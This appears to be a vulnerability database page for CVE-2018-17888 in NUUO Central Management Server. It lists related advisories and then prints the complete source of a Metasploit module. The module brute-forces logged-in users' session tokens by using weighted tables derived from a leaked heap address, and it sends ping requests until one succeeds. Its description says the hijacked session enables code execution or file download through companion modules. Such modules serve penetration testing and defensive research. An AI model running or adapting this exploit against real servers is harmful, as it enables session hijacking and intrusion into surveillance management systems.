| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| Nuuo Central Management Server Session Bruteforce | 12 Oct 201800:00 | – | attackerkb | |
| CVE-2018-17888 | 20 Feb 201915:25 | – | circl | |
| NUUO CMS Remote Code Execution Vulnerability | 16 Oct 201800:00 | – | cnvd | |
| CVE-2018-17888 | 12 Oct 201814:00 | – | cve | |
| CVE-2018-17888 | 12 Oct 201814:00 | – | cvelist | |
| NUUO CMS (Update A) | 11 Oct 201800:00 | – | ics | |
| NUUO CMS | 11 Oct 201800:00 | – | ics | |
| Nuuo Central Management Server User Session Token Bruteforce | 21 Jan 201910:11 | – | metasploit | |
| CVE-2018-17888 | 12 Oct 201814:29 | – | nvd | |
| Remote code execution | 12 Oct 201814:29 | – | prion |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'benchmark'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Nuuo
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Nuuo Central Management Server User Session Token Bruteforce',
'Description' => %q{
Nuuo Central Management Server below version 2.4 has a flaw where it sends the
heap address of the user object instead of a real session number when a user logs
in. This can be used to reduce the keyspace for the session number from 10 million
to 1.2 million, and with a bit of analysis it can be guessed in less than 500k tries.
This module does exactly that - it uses a computed occurrence table to try the most common
combinations up to 1.2 million to try to guess a valid user session.
This session number can then be used to achieve code execution or download files - see
the other Nuuo CMS auxiliary and exploit modules.
Note that for this to work a user has to be logged into the system.
},
'Author' =>
[
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-17888' ],
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-18-284-02' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]
],
'Platform' => ['win'],
'DisclosureDate' => '2018-10-11'))
deregister_options('SESSION', 'USERNAME', 'PASSWORD')
end
# These tables were generated by doing thousands of requests to a NUUO CMS Server and collecting the responses.
# Table id: hex-nu-mod
# 2621440 total combinations for both 1.X and 2.X versions
# 2.X versions only have 1048576 combinations, and this table will run through them first
WEIGHTED_ARRAY_7 =
['2', '1'],
['4', '6', '5', '7', '8', '2', '0', '1', 'f', 'e'],
['1', '6', '0', '8', 'd', '7', 'c', 'e', '2', 'b', 'f', '3', '5', '4', 'a', '9'],
['d', '6', '4', '5', 'f', '0', '8', '7', 'a', '3', '1', 'b', 'c', 'e', '9', '2'],
['3', 'e', 'f', '1', 'c', '5', '9', 'd', '8', '6', '0', '4', 'a', '2', 'b', '7'],
['d', '4', '2', 'b', '3', '6', '8', '1', 'a', '7', 'f', 'e', '0', '9', '5', 'c'],
['8', '0']
# 189000 total combinations
# Only tested (only applies?) to 2.X versions
# These are only tried if WEIGHTED_ARRAY_7 fails
WEIGHTED_ARRAY_6 =
['9', 'a'],
['7', 'c', '6', 'f', 'e', 'a', 'd', '9', '4', '5', '3', '2', 'b', '0', '8'],
['7', 'b', '6', 'd', 'a', '3', '4', 'f', '5', '1', '8', 'e', 'c', '2'],
['3', '1', 'c', 'f', 'd', '4', 'b', 'a', '6', '2', '5', 'e', '8', '9', '0'],
['3', '6', '7', 'b', 'e', '9', '2', 'f', '4', '1', 'c', 'a', '0', 'd', '8'],
['0', '8']
def session_number_list(weighted_array)
# Let's calculate all the possible combinations
length = Array.new(weighted_array.length)
for i in (0..weighted_array.length-1)
length[i] = weighted_array[i].length
end
counter = Array.new(weighted_array.length)
for i in (0..weighted_array.length-1)
counter[i] = 0
end
total = 1
for len in length
total *= len.to_i
end
print_status("Generating #{total} session tokens")
final_list = Array.new
# code below taken from https://gist.github.com/Yengas/9010715
(total).times {
if weighted_array.length == 6
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]]
elsif weighted_array.length == 7
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]]
else
# assume size == 8
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]] + weighted_array[7][counter[7]]
end
# Find value of current combination by concatenating corresponding values of counters in the inner-arrays
# Then we increment the value of the counter so we go on to the next combination.
for index in (counter.length - 1).downto(0) # From (counter array's length - 1) to 0
if counter[index] + 1 < length[index] then # If counter index can be incremented
counter[index] += 1; # Increment the counter index
break; # Stop the incrementation/go to the next combination printing/incrementing.
end
counter[index] = 0; # Assign current counter index to zero and try incrementing the next counter index.
end
}
full_list = Array.new
final_list.each { |x|
full_list << x.to_i(16)
}
return full_list
end
def session_bruteforce_list(weighted_array)
list = session_number_list(weighted_array)
for session in list
req = client.request_ping({
'method' => 'PING',
'user_session' => session
})
# module fails when shutdown/close lots of connections
# create own connection and dont call close
conn = client.connect(temp: true)
res = client.send_recv(req, conn)
@counter += 1
if res && res.status_code == 200
return session
end
end
return nil
end
def run
connect
@counter = 0
print_status('Bruteforcing session - this might take a while, go get some coffee!')
session = nil
time = Benchmark.realtime {
session = session_bruteforce_list(WEIGHTED_ARRAY_7)
unless session
print_error('Failed to bruteforce, trying with the less likely numbers as a last resort...')
session = session_bruteforce_list(WEIGHTED_ARRAY_6)
end
}
unless session
fail_with(Failure::Unknown, 'Failed to bruteforce user session.')
else
print_good("Found valid user session: #{session}")
print_status("Time taken: #{time} seconds; total tries #{@counter}")
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation